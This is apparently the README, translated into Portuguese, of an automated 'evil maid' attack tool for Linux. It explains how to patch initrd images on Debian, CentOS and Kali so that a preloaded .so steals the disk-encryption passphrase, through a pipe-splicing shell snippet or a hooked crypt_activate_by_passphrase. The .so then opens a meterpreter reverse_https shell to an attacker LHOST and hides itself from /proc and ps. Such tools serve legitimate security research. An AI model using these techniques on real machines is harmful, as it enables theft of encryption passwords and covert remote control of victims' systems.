strozfriedberg/evilabigailAtaque automatizado de empregada malvada no Linux
.so no /sbin/init na inicialização, abrindo um shellLD_PRELOAD do .so no DefaultEnviroment, carregado globalmente, abrindo um shell.python/meterpreter/reverse_https para LHOST em tempo de compilaçãogetenv PASSWORD)Consulte o Makefile para mais informações/configuração, LHOST é necessário no ambiente para construir o .so pois o msfvenom é canalizado em tempo de compilação. Também é necessário ter libcrypsetup-dev (ou equivalente) instalado na máquina de compilação.
Instruções genéricas (constrói imagem iso no diretório atual):
LHOST=192.168.56.101 make rev.so iso
As seguintes opções foram anexadas à inicialização do kernel:
mc superuser nodhcp quiet loglevel=0
Além disso, o valor prompt foi definido como 0 para permitir execução totalmente automatizada.
Tempo aproximado do boot malicioso -> backdoor: ~2 minutos Tempo aproximado do boot legítimo -> shell ~90 segundos (configurável, queremos a rede ativa antes de nós)
core.d é um core.gz descompactado do TinyCore com os pacotes abaixo mesclados.
Core-current é um Core-current.iso descompactado
Os seguintes pacotes foram instalados dentro do tinycore (python, suporte a sistema de arquivos):
No mínimo, a assinatura é a seguinte:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS é um nome único para este SO.IDENTIFIER é um comando shell que tem código de saída 0 quando executado contra o initrd correto, e !0 para qualquer outra coisa.ROOT é o caminho completo ou variável onde a nova raiz é montada após a descriptografia.FILENAME é o caminho completo para colocar nosso binário no sistema de arquivos raiz. Cuidado para saber o que initrd monta e o que é montado posteriormente.INITRDFILENAME é o caminho completo do binário dentro do initrd. Isso é copiado dentro do Makefile (cp ... core.d/...), então deve corresponder a isso.Depois disso, cada tripla de *FILE, *PRE, *POST é executada contra o initrd como um re.sub (ex: re.sub(*PRE, *POST, *FILE)). O conteúdo de *PRE e *POST é expandido usando .format(**config[detectedOS]), então sinta-se à vontade para expandir sua assinatura para injetar itens.
Não há limite para o número de substituições que você pode executar.
\\1 será expandido para o conteúdo completo da correspondência (*PRE) quando usado dentro da substituição (*POST).| $O payload metasploit python/meterpreter/reverse_https foi escolhido porque é mais independente de plataforma do que os payloads linux/*/meterpreter/reverse_tcp. python parece estar instalado por padrão em todos os sistemas testados.
Por padrão, o payload é gerado em tempo de compilação e canalizado para o arquivo .c como um #define. Isso torna as iterações mais fáceis, mas não deve ser difícil salvar o payload e inseri-lo manualmente.
Sistemas baseados em Debian (Debian, Ubuntu etc) usam uma imagem cpio gzipada padrão como initramfs. Isso contém o script /init padrão que executa a preparação do sistema para a inicialização completa. Isso inclui pedir a senha ao usuário e montar o sistema de arquivos raiz criptografado.
Para colocar nosso .so, esperamos até que o sistema de arquivos raiz tenha sido montado (então depois que a senha foi solicitada ao usuário) e copiamos o .so para o sistema de arquivos /dev. O sistema de arquivos /dev foi escolhido porque é acessível logo antes da troca do rootfs e é uma montagem baseada em RAM. Isso significa que nosso .so não tocará no disco.
Para realmente usar o .so colocado, usamos a variável de ambiente LD_PRELOAD na chamada switch_root. Essa variável é passada para todos os executáveis filhos e, como tal, o script final /sbin/init terá o módulo carregado. Para manter isso relativamente silencioso, verificamos se estamos carregados em /sbin/init e, se sim, desativamos a variável LD_PRELOAD e excluímos o .so. Essa funcionalidade pode ser facilmente desativada se quisermos enganchar aplicações específicas.
Para forçar a execução do .so, por padrão após o carregamento, usamos a flag gcc -Wl,-init,shell, onde shell é nossa função principal. Isso especifica qual função queremos chamar na inicialização do .so. Pense nisso como um análogo ao DllMain do Windows.
A parte do script init responsável por pedir a senha ao usuário e montar o sistema de arquivos raiz é a seguinte:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
A parte importante para nós é onde a saída de $cryptkeyscript é canalizada para $cryptcreate. $cryptkeyscript é o solicitador de senha, e $cryptcreate é o montador de disco. Esse pipe torna muito fácil para nós atacarmos. Inserimos o seguinte código onde o pipe está para escrever a senha no final do nosso .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Isso lerá a senha na variável $P, e tanto a escreverá no final do .so quanto a ecoará novamente. Esse código será transparente para os propósitos de $cryptkeyscript e $cryptcreate, mas terá o efeito colateral de exfiltrar a senha. Usamos \\\\\\\\x00 para prefixar um byte nulo (considerando muitos níveis de escape de shell) à senha. Isso torna muito mais fácil para nosso .so ler a senha de volta, pois ele só precisa ler para trás a partir de si mesmo até ver um byte nulo.
Para fornecer essa senha ao atacante, ela é usada como uma variável de ambiente na invocação do payload. Isso significa que o atacante pode simplesmente usar o comando meterpreter getenv PASSWORD para recuperar a senha.
Devido à forma como o .so está sendo carregado, haverá referências a ele tanto em /proc/1/maps quanto em /proc/1/environ.
O arquivo maps é uma lista de módulos carregados. O trecho a seguir mostra o conteúdo deste arquivo. Observe o (deleted), pode potencialmente levantar suspeitas. No entanto, ao contrário de binários normais, não é possível acessar o .so sem extraí-lo diretamente da memória após ter sido excluído.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
O arquivo environ é uma lista separada por NULL de variáveis de ambiente na invocação. Por ser da invocação, isso significa que quaisquer modificações que fizermos em tempo de execução (desativar LD_PRELOAD) não serão refletidas.
Em ambos os casos, como podemos ser enganchados em qualquer processo do sistema, poderíamos simplesmente enganchar a função read(2) e remover quaisquer referências a nós mesmos.
Kali é um caso especial. Ele tem o cpio encadeado como mencionado abaixo, mas não usa systemd para inicializar. Como tal, a regra de SO DRACUT foi generalizada para que extraia cegamente, e então a segunda detecção de SO captura o Kali.
Se você adicionar um SO com um cpio contendo apenas kernel/x86/microcode/GenuineIntel.bin, a regra IDENTIFIER deve ser para o cpio anexado, pois iremos automaticamente encontrá-lo e extraí-lo.
Esses sistemas têm um formato diferente para sua imagem initrd em comparação com os sistemas baseados em Debian. Os arquivos initrd armazenados em /boot são um arquivo cpio quase vazio, com um arquivo cpio gzipado anexado. Este segundo arquivo é o que contém o initramfs. Para descompactar este segundo arquivo, é necessário analisar o primeiro arquivo cpio para encontrar o final. Alternativamente, você pode encontrar a string TRAILER!!! e ler até encontrar o magic gzip (\x1f\x8b).
Outra diferença desses sistemas é que eles são baseados em systemd, e como tal, o executável /init no initamfs é um link simbólico para o binário systemd, em vez de um script sh simples. Para contornar essa limitação, é necessário modificar os arquivos .service relacionados à montagem do sistema de arquivos raiz.
O usr/lib/systemd/system/initrd-switch-root.service contém o script usado para pivotar para a raiz recém-descriptografada. Usando a pragma ExecStartPre, é possível executar outros programas antes que o pivot ocorra.
SELinux está presente no CentOS, restringindo o uso de LD_PRELOAD. Um caminho funcional é /lib. Isso foi localizado lendo o arquivo em /etc/selinux/targeted/modules/active/file_contexts para um local rotulado como system_u:object_r:lib_t.
Como o systemd chama clearenv() antes de trocar a raiz, nossa variável LD_PRELOAD é apagada. Para contornar isso, podemos enganchar clearenv() e sempre substituir o ambiente apenas por LD_PRELOAD. No entanto, para conseguir isso, precisamos ser o PID 1 dentro do initrd. Isso é mais complicado, pois não é possível fazer LD_PRELOAD neste processo. Para contornar isso, substituímos /init por um script bash shell da seguinte forma:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Isso funciona porque /init é apenas um link simbólico para /usr/lib/systemd/systemd. exec é usado para que o processo retenha o PID pai (1).
Uma vez que isso é implementado e clearenv() é neutralizado, é possível definir LD_PRELOAD para o pid 1 real dentro da nova raiz.
O systemd lida com senhas para sistemas de arquivos criptografados de forma completamente diferente dos scripts init baseados em Debian. As senhas são passadas usando sockets Unix que permitem enviar credenciais. Para contornar essa complexidade, o método mais fácil que encontramos para acessar a senha foi enganchar a função crypt_activate_by_passphrase do libcryptsetup. As partes relevantes da declaração da função são as seguintes:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Para acessar a senha, simplesmente enganchamos esta função, salvamos passphrase em um arquivo e chamamos a função original obtida por dlsym(RTLD_NEXT, ...). Como acima, anexamos nossa senha ao .so para que ele possa se analisar e tornar a senha disponível para o meterpreter.
Como acima, o .so aparece em /proc/1/maps, /proc/1/environ e na saída de ps.